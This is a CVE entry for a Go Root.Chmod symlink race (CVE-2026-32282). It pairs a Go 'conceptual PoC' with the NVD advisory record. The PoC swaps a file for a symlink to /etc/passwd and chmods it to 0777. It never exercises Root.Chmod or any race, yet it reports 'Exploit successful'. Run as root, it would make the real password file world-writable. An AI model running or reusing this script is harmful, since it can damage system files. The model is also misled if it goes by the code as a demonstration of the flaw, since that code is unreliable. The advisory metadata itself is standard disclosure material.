CVE-2026-32282

package main import ( "fmt" "os" "path/filepath" ) // Conceptual PoC for CVE-2026-32282 // This demonstrates the race condition logic. func main() { targetDir := "/tmp/vuln_test" sensitiveFile := "/etc/passwd" targetFile := filepath.Join(targetDir, "target") // Setup environment os.MkdirAll(targetDir, 0755) os.WriteFile(targetFile, []byte("data"), 0644) // Simulate the vulnerable function's check phase fmt.Println("[+] Phase 1: Check - Target is a regular file.") // Simulate the Race Condition (The Exploit) // Attacker replaces the file with a symlink to a sensitive file os.Remove(targetFile) err := os.Symlink(sensitiveFile, targetFile) if err != nil { fmt.Println("Error creating symlink:", err) return } fmt.Printf("[!] Phase 2: Race - Replaced target with symlink to %s\n", sensitiveFile) // Simulate the Action phase (chmod) // If the race is won, the chmod applies to /etc/passwd err = os.Chmod(targetFile, 0777) if err != nil { fmt.Println("[-] Exploit failed:", err) } else { fmt.Println("[+] Exploit successful! Permissions changed on the symlink target.") } }

{"cve": {"id": "CVE-2026-32282", "sourceIdentifier": "[email protected]", "published": "2026-04-08T02:16:03.467", "lastModified": "2026-04-16T19:15:39.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "On Linux, if the target of Root.Chmod is replaced with a symlink while the chmod operation is in progress, Chmod can operate on the target of the symlink, even when the target lies outside the root. The Linux fchmodat syscall silently ignores the AT_SYMLINK_NOFOLLOW flag, which Root.Chmod uses to avoid symlink traversal. Root.Chmod checks its target before acting and returns an error if the target is a symlink lying outside the root, so the impact is limited to cases where the target is replaced with a symlink between the check and operation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.25.9", "matchCriteriaId": "C6C9C072-9817-402D-877F-F83584B07017"}, {"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.26.0", "versionEndExcluding": "1.26.2", "matchCriteriaId": "39FE9BAF-55E9-43AA-B14E-239E7EF1D65D"}]}]}], "references": [{"url": "https://go.dev/cl/763761", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://go.dev/issue/78293", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU", "source": "[email protected]", "tags": ["Release Notes", "Mailing List"]}, {"url": "https://pkg.go.dev/vuln/GO-2026-4864", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}